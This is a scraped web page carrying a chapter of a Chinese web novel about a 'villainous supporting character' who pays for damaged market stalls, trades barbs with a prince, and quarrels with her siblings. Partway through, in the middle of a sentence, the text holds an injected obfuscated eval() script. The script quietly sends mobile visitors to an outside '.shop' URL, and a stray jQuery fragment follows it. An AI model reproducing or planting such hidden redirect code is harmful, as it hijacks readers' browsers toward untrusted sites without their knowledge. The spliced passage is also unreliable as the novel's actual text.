文趣网 > 其他小说 > 恶毒女配请动手 > 6. 赔偿
    卜桑桑原路返回,街上的摊子已收了大半,灯火稀疏了不少。

    没走多远,就看见了她撞翻的几个摊子,摊主们正蹲在地上收拾残局。

    他们压根没想过有人会来赔偿,只是唉声叹气地自认倒霉。看见突然递到眼前的银子,一时都有些不知所措。

    卜桑桑道:“对不住,刚才是我撞翻了你们的摊子,我这银子也不知道够不够赔偿你们的损失。如果不够,明日我再拿银子来。”

    “您这一锭银子,够买下我这整个摊子了。”一个摊主踌躇着不敢接。

    卜桑桑将银子塞进他手中:“多出来的算我赔给你的精神损失费,是你应得的。”

    摊主们收了银子,各自离去。

    她又走向街尾一个泥人摊前,头发花白的老人正蹲在地上,把摔碎的泥人碎片一片片捡起来。

    翻遍全身也只剩一粒碎银子,这点银子只怕连本钱都不够。

    她把手腕上的一只金镯子褪下来,刚递出去,旁边忽然伸过来一锭金灿灿的金元宝,挡住了她递出去的镯子。

    卜桑桑抬头,就看见褚铮冲她微微笑了一下,那双沉黑的眸子也跟着染上了温度。

    卜桑桑怔愣了片刻,这人不是往那边走了吗,怎么又绕回来了?

    “老人家,抱歉,刚才是我们撞翻了你的摊子,这是赔偿你的,请收着吧。”褚铮转向那老人,语气温柔。

    老人颤巍巍地接过金子,千恩万谢地收了摊子,步子快得倒像个年轻人。

    街上只剩他们二人,空气一时沉寂下来。

    卜桑桑将镯子戴回手上,也不看褚铮,抬脚便走。

    褚铮急忙叫道:“哎,你去哪?”

    卜桑桑头也不回道:“自然是回家了。”

    “我好歹也算帮了你,你怎么连个谢都没有?”褚铮追上她,说道,“你这脾气也太坏了。”

    卜桑桑停住脚步,似笑非笑地看他:“王爷似乎很喜欢让别人先开口说话。”

    褚铮愣了一瞬,继而笑道:“你连这个都要计较。”

    卜桑桑丝毫不掩饰:“对您这个大人物来说是理所当然,可我这个小人物就喜欢斤斤计较。”

    “好吧,算我不对。”褚铮温和地劝她,“你刚才做的事证明你……心肠好,你为纪砚寒而迁怒宋惜宁,这其实很没道理。何况,感情的事勉强不得。你这样,只会伤人伤己。”

    卜桑桑翻了个白眼,边走边道:“爱情可真神奇,能把惜字如金的王爷变成念经的和尚。”

    褚铮听到这话,脚步一顿,面上有些发烫,他不动声色地看了她一眼,随即若无其事地说道:“你以后有需要帮忙的地方,可以来找我。”

    卜桑桑眼睛一亮:“你可别骗我。”

    褚铮清了清嗓子,正色道:“大丈夫一言九鼎,我不会骗你。”说完这话,他又笑道,“不包括帮你欺负人。”

    卜桑桑道:“那王爷,能先给我两个金元宝吗?”

    “啊?”

    卜桑桑笑嘻嘻地说道:“刚才你那金元宝一伸出来,我那点小银子就没法看了,让我也体验体验这种豪横的感觉吧!”

    褚铮只觉心口一滞,盯着她看了一会儿,转身大步往前走。

    卜桑桑追在他后面道:“不给就不给嘛,走这么快,我又不会抢你的,真小气。”

    褚铮憋着气,一路都没再看她。

    行至尚书府门口,迎面撞上卜青禾和卜天麟。

    卜天麟看见她,立刻叫道:“大姐,你怎么一个人跑了,我们正要去寻你。”

    瞥见不远处站着的褚铮,两人同时看了她一眼,卜青禾将她一把拉进门里。

    卜天麟笑着走出去,抱拳一礼道:“难得王爷今日路过我家,这可是难得的缘分,我对王爷仰慕已久,夜已深了,王爷不如进府住上一晚如何?”

    听着他这不着调的话,褚铮神色淡然:“不必,本王还有事,告辞。”

    直到褚铮消失在夜色里,卜天麟才转身进府。

    卜桑桑疑惑地问他:“你刚才那话我怎么听着怪怪的,你真仰慕他啊?”

    卜天麟没有回答,反问道:“大姐,你真想给乾王做小吗?”

    卜桑桑诧异地看着他:“你瞎说什么,我跟他不会有关系的,他喜欢的是宋惜宁。”

    “既然这样,以后你就躲着他点。”卜天麟一本正经地看着卜桑桑,“你要知道,男人的心里未必只装一个人,即使是玩玩,也可以纳进府中。”

    卜青禾也道:“乾王府与尚书府虽说不远,但并不同路,他送你回来,未必没有想法。”

    卜桑桑在心里默默复盘了一下自己的条件,问:“你们觉得他喜欢我什么?温柔、善良、美貌,还是才华?”

    卜天麟和卜青禾一齐摇头:“那大概是我们想错了。”

    虽说她清楚自己的斤两,但一听他俩这样说,卜桑桑的脸还是立刻耷拉下来:“你们俩倒是挺默契,合起伙来损我。”

    “大姐,我们也是担心你。”卜青禾说道,“乾王是皇上全心信赖的兄弟,虽说道理上他不可能看上你,但你以后还是小心为妙。”

    卜桑桑知道他们关心自己,笑着说道:“放心吧,我对乾王来说,就是一个污点,他摆脱都来不及,今晚也是他为了保护宋惜宁才跟我遇上的,这一点我还是很清楚的。

    听她提到宋惜宁,卜天麟禁不住说道:“大姐,你跟纪砚寒的事情,何必要牵连宋惜宁。她一路逃亡进京,几经生死,已经够可怜了。你要是气不过纪砚寒见异思迁,你直接揍纪砚寒不是更痛快。”

    卜桑桑表情怪异地看了他一会儿,转身往自己院内走,半晌才道:“天麟啊,你现在还是个未成年,你觉得宋惜宁会喜欢你吗?”

    卜天麟脚步一顿,自嘲般地笑了一下,说道:“我就是觉得她很好而已,从来都没想过要和她发生什么,到我及冠之年,她的孩子大概都能上学堂了。”

    听到他这样说,卜桑桑心里挺不是滋味的,原书里面他这个弟弟就没争取,直到死宋惜宁都不知道他的心意。

    “其实大三岁也不是问题,你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614299|206041||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要不要争取一下?你在这里深情默默,宋惜宁又不知道。”

    “大姐你说什么呢?”卜青禾重重拍了她一巴掌,“天麟已经和范家小姐换了帖子,就等吉日下聘了,你不许节外生枝。到时候真把咱爹气出好歹来,我可不饶你。”

    卜桑桑道:“咱大哥不就退婚了嘛,何况天麟还没下聘,少年人别在心里留下什么伤才好,心里藏着人,对范家小姐也不公平。”

    “大哥那是人家不想跟他吃苦,他才主动退婚,为的是不让女方担上恶名,这已经把爹气得不轻了。”

    “你说别人的时候大义凛然,咱们这个家,就属你气爹最多,你怎么不怕气死爹?”

    “我那能一样吗?我是不想嫁人,天麟整日斗鸡走狗,游手好闲,人家范小姐自己愿意嫁过来,也是看中咱们家门第比她家高,加上她自己的日子并不好过,我们家刚好能让她当家做主,又没有婆母刁难。否则,谁愿意嫁给他,你难道想让天麟也终身不娶?”

    卜天麟哭笑不得地听着她俩吵架:“二姐你这么一说,我都觉得我该退婚了,人家把我当踏脚石,我要是不退,岂不是更像白痴了。”

    卜青禾道:“你要是能追到宋惜宁,我也不说了。不过,除了范文苑,你觉得好人家的姑娘,谁会嫁给你呀?我听说,你的那些狐朋狗友带你去万花楼了,你说,我要不要告诉大哥?”

    卜天麟忙抓着她的胳膊,哀求道:“二姐我错了,你可千万别告诉大哥,我就是去看了看,没干别的。”

    “你……”卜桑桑颤抖着手,不可置信地指着他道,“你小小年纪居然去那种地方,我还只当你不懂事。你……你居然和那些肥头大耳的人一起,脏死了,以后别靠近我,也不许叫我姐姐!”

    “我怎么就脏了?”卜天麟不服气道,“我又没做什么。”

    【叮!恶毒女配请动手:当街驾马车冲撞主角,时限一日。】

    熟悉的机器音在脑海毫无预兆地炸响,卜桑桑只觉眼前一黑,差点栽倒。

    她稳住身形,一把将卜天麟扶着她的手甩开,说道:“你回去好好想想吧,也趁早别去污了人家宋惜宁的眼,一百个你都比不上一个纪砚寒,人家纪砚寒人品能耐都比你强,最重要的是人家干净。”

    “我就去了一回,跟人喝了个酒而已。”卜天麟被她一通贬低,郁闷至极。

    卜青禾问道:“去了那种地方,没请姑娘陪酒?”

    卜天麟没有回答,算是默认了。

    卜桑桑与卜青禾对视一眼道:“算了,我很累了,青禾你也回去吧,不用理他。”

    卜青禾应了一声,姐妹俩各自转身往自己的院子走去,谁都没再搭理卜天麟,独留他一人站在原地。

    直到两个姐姐的身影都消失在院门那边,他才烦躁地挠了挠头。

    这怎么好像他真的犯了不可饶恕的大罪一样。

    折腾了大半个晚上,卜桑桑只觉得累,身累,心更累。

    恹恹地回到自己的屋子,倒头便睡,反正时限还有一日,天塌下来也得明日再说。